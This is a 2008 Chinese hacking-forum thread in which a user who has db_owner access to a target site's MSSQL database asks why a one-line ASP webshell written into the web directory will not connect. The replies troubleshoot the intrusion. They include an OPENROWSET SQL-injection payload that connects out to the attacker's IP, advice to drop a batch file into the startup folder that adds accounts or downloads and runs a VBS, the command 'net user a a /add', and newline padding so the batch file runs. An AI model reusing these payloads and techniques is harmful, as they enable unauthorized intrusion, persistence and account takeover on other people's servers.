Board logo

标题: [讨论]MSSQL DB_OWNER权限 请教高手 [打印本页]
作者: richy    时间: 2008-7-23 08:34     标题: [讨论]MSSQL DB_OWNER权限 请教高手

[讨论]MSSQL  DB_OWNER权限 请教高手
议题作者：哈破boy
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

MSSQL DB_OWNER 权限 ，网站路径已经找到，用工具写入了一句话木马Diy.asp。
在网站路径中也已经找到了写入的Diy.asp 。
但是，用一句话连接，就是显示该页无法显示。：（
这到底是什么原因？

我对照了网站的文件内容，和我找到的网站路径中的文件相符。
为什么我就是连不上我的一句话木马呢？永远为爱自己活者
帖子6 精华0 积分23 阅读权限40 性别男 在线时间9 小时 注册时间2007-12-24 最后登录2008-6-17 查看详细资料TOP 让女孩一夜变的更有女人味


唐不狐
很黃很暴力

晶莹剔透§烈日灼然
作者: 紫禁城    时间: 2008-7-23 08:34

先直接浏览器里打入地址确认 文件成功写入到web目录并且能够正确运行
几种可能：
1.目录没有脚本执行权限。假如该目录已经存在asp文件，那么这个可能可排除。
2.你找的目录不对，可能是备份目录，不是真实目录。
3.diy.asp被杀。这个的话，可以随便写点东西上去看看能不能访问得到。
帖子145 精华2 积分574 阅读权限50 性别男 来自china 在线时间107 小时 注册时间2005-9-27 最后登录2008-7-21 查看个人网站
查看详细资料TOP 您知道您年薪应是多少?

fucking
晶莹剔透§烈日灼然
作者: 车亲仁    时间: 2008-7-23 08:34

除了楼上说的，还有就是有可能系统自生过滤了一些比如< %这些的符号。。。考虑用容错。。或加密。。。还有你还是先检查下备份后在相应的目录有没你所备份的asp文件。。。反正情况很多。。你的描述范围很广的说~~~
帖子28 精华0 积分103 阅读权限40 性别男 在线时间124 小时 注册时间2007-8-19 最后登录2008-6-6 查看详细资料TOP 赚更多的钱

dingking
荣誉会员
作者: yq_ryan    时间: 2008-7-23 08:34

先本地NC一个端口，然后执行如下代码。
复制内容到剪贴板
代码:
;insert into OPENROWSET(&#39;SQLOLEDB&#39;,&#39;uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=你的IP,端口;&#39;, &#39;select * from dest_table&#39;) select * from src_table;--
获得数据库服务器的IP，看看和WEB是一个服务器不。


昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男 在线时间756 小时 注册时间2005-6-17 最后登录2008-7-18 查看详细资料TOP

龙歌
晶莹剔透§烈日灼然
作者: 折翼天使    时间: 2008-7-23 08:34

多数是因为DB_OWNER 权限不够造成的！
帖子12 精华0 积分38 阅读权限40 性别男 在线时间11 小时 注册时间2006-10-5 最后登录2008-4-30 查看详细资料TOP 让女孩一夜变的更有女人味

dingking
荣誉会员
作者: charles_ho    时间: 2008-7-23 08:34

引用:
引用第4楼龙歌于2008-01-14 00:09发表的 :
多数是因为DB_OWNER 权限不够造成的！
权限？都写进文件去了。说明BAK权限是有滴。。。~~~
引用:
唐不狐:

先直接浏览器里打入地址确认 文件成功写入到web目录并且能够正确运行几种可能： 1.目录没有脚本执行权限。假如该目录已经存在asp文件，那么这个可能可排除。 2.你找的目录不对，可能是备份目录，不是真实目录。 3.diy.asp被杀。这个的话，可以随便写点东西上去看看能不能访问得到。
1,BAK到可以解析的目录就OK

2,很有可能......也可能是WEB和数据库分离

3, 他的dir.asp是存在的，所以应该是没被杀。昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男 在线时间756 小时 注册时间2005-6-17 最后登录2008-7-18 查看详细资料TOP 良辰择日，预测咨询，公司改名，权威易经

jxsaqjh
晶莹剔透§烈日灼然
作者: 吴福基    时间: 2008-7-23 08:34

很可能站库分离了jxsaqjh.cn

帖子36 精华0 积分99 阅读权限40 性别男 在线时间15 小时 注册时间2006-10-23 最后登录2008-4-9 查看详细资料TOP 让女孩一夜变的更有女人味

冷了左眼
晶莹剔透§烈日灼然
作者: 阿一    时间: 2008-7-23 08:34

看看3389开了没有.如果开了直接备份一个bat 到系统启动目录下.前面加两回车.过滤掉无用的信息
bat的内容可以为开帐号.或者echo写一个VBS下载.再执行.然后.想办法让主机重启
帖子20 精华0 积分54 阅读权限40 性别男 在线时间8 小时 注册时间2007-3-24 最后登录2008-7-18 查看详细资料TOP

hackwind
晶莹剔透§烈日灼然
作者: dgbz    时间: 2008-7-23 08:34

这种情况我也遇到过。很有可能是马被杀掉的原因。
帖子13 精华0 积分39 阅读权限40 性别男 来自幽谷客 在线时间25 小时 注册时间2007-11-4 最后登录2008-6-7 查看详细资料TOP

赤血狼
晶莹剔透§烈日灼然
作者: 蓝色海洋    时间: 2008-7-23 08:34

应该WSH下看看！
帖子12 精华0 积分38 阅读权限40 在线时间140 小时 注册时间2007-5-3 最后登录2008-7-7 查看详细资料TOP

miao2
﹎'颓废小猫;

晶莹剔透§烈日灼然
作者: 技安    时间: 2008-7-23 08:34

引用:
引用第7楼冷了左眼于2008-01-14 22:11发表的 :
看看3389开了没有.如果开了直接备份一个bat 到系统启动目录下.前面加两回车.过滤掉无用的信息
bat的内容可以为开帐号.或者echo写一个VBS下载.再执行.然后.想办法让主机重启
“前面加两回车.过滤掉无用的信息”怎么加回车?
我备份 &#39;net user a a /add&#39; 到web目录 改名为.bat ，执行不了


输入行太长。

C:\Documents and Settings\et>net user

\\ET13 的用户帐户

--------------------------------------------------------
Administrator      et            Guest
HelpAssistant      SUPPORT_388945a0
命令成功完成。

帖子26 精华2 积分89 阅读权限40 性别男 在线时间102 小时 注册时间2007-7-28 最后登录2008-7-19 查看详细资料TOP

56352351
晶莹剔透§烈日灼然
作者: 闲人    时间: 2008-7-23 08:34

我遇到的问题和楼主差不多,
确定不是WEB数据库分离,
备分了马用列目录看了下的确好好的躺在那,
而且马的名字特别奇怪,不会有重名,
但是就是无法连接,访问的话无法显示
我遇到过好多次了,有次传了好几个马后终于成功,去目录下看以前的马都在啊,就是无法显示.我想问问这是什么原因啊?谁能回答我下,谢谢了.........没发贴权限,见谅.........
帖子13 精华0 积分48 阅读权限40 性别男 在线时间17 小时 注册时间2007-12-21 最后登录2008-5-3 查看详细资料TOP

魔王的徒弟
晶莹剔透§烈日灼然
作者: 狂野之城    时间: 2008-7-23 08:34

引用:
引用第4楼龙歌于2008-01-14 00:09发表的 :
多数是因为DB_OWNER 权限不够造成的！
个人觉得是权限不够
帖子9 精华0 积分59 阅读权限40 性别男 在线时间11 小时 注册时间2007-3-7 最后登录2008-7-15 查看详细资料TOP

56352351
晶莹剔透§烈日灼然
作者: zh_Huang    时间: 2008-7-23 08:34

奇怪,问题是我的马放在那网站的根目录下的,他们主页我都可以浏览为什么小马就不可以.如果说是权限不够的话应该是全都不能浏览的啊
帖子13 精华0 积分48 阅读权限40 性别男 在线时间17 小时 注册时间2007-12-21 最后登录2008-5-3 查看详细资料TOP

dingking
荣誉会员
作者: 劲秋    时间: 2008-7-23 08:34

不一定非要BAK马进去撒。你看看跑管理密码后台拿SHELL也行的嘛。

看看有没什么upfile.asp之类的上传文件利用下撒。~

你现在都不能确定是否是WEB和数据库分离的？昨天是明天的前天今天是昨天的明天明天是昨天的后天    ╰o╯╰o╯
帖子741 精华2 积分4784 阅读权限100 性别男 在线时间756 小时 注册时间2005-6-17 最后登录2008-7-18 查看详细资料TOP

winger
晶莹剔透§烈日灼然
作者: 有心人    时间: 2008-7-23 08:34

碰到过这个问题
不是数据过滤
也不是数据库分离
那么多网站的目录 把文件备份上去 就看着在那里就是访问不了
每这个站下面的目录都试了就是不行

是不是和数据库权限有关系
？
天空之翼 谁曾纷飞

帖子6 精华0 积分105 阅读权限40 来自天堂 在线时间29 小时 注册时间2006-1-4 最后登录2008-7-14 查看详细资料TOP

hslyao
晶莹剔透§烈日灼然
作者: wahfen    时间: 2008-7-23 08:34

我有一个站。木录都没找到。。

是ASPX。。用ASPX暴目录工具也没有成功。。

这种能是目录分离吗。
帖子1 精华0 积分6 阅读权限40 性别男 在线时间0 小时 注册时间2008-1-25 最后登录2008-2-1 查看详细资料TOP

tj646
晶莹剔透§烈日灼然
作者: bimuyu    时间: 2008-7-23 08:35

先随便备份几个字母到TXT文件看能不能访问.
很有可能目录弄错了.
帖子5 精华0 积分20 阅读权限40 在线时间1 小时 注册时间2006-3-19 最后登录2008-5-12 查看详细资料TOP

黄少
晶莹剔透§烈日灼然
作者: qpqlqm6    时间: 2008-7-23 08:35

我碰到过，有防火墙拦截了。post不上不海洋之类的，可以试试，大牛lake2的一句话客户端。我从来不靠 靠 靠

帖子27 精华0 积分94 阅读权限40 在线时间29 小时 注册时间2005-10-11 最后登录2008-7-21 查看个人网站
查看详细资料TOP

mior
晶莹剔透§烈日灼然
作者: Esther    时间: 2008-7-23 08:35

mssql是以users权限启动的也会出现那样的问题
帖子5 精华0 积分9 阅读权限40 在线时间4 小时 注册时间2007-7-20 最后登录2008-6-25 查看详细资料TOP

皇子
晶莹剔透§烈日灼然
作者: yoncom    时间: 2008-7-23 08:35

[quote]原帖由 miao2 于 2008-1-17 23:10 发表


“前面加两回车.过滤掉无用的信息”怎么加回车?
我备份 &#39;net user a a /add&#39; 到web目录 改名为.bat ，执行不了


输入行太长。







你insert内容到表里的时候 先写个0X0A0D 然后第一句要执行的命令 然后再加个0A0D
异词类推
帖子61 精华0 积分206 阅读权限40 在线时间6 小时 注册时间2005-8-21 最后登录2008-6-20 查看详细资料TOP

join
晶莹剔透§烈日灼然



欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./) Powered by Discuz! 7.2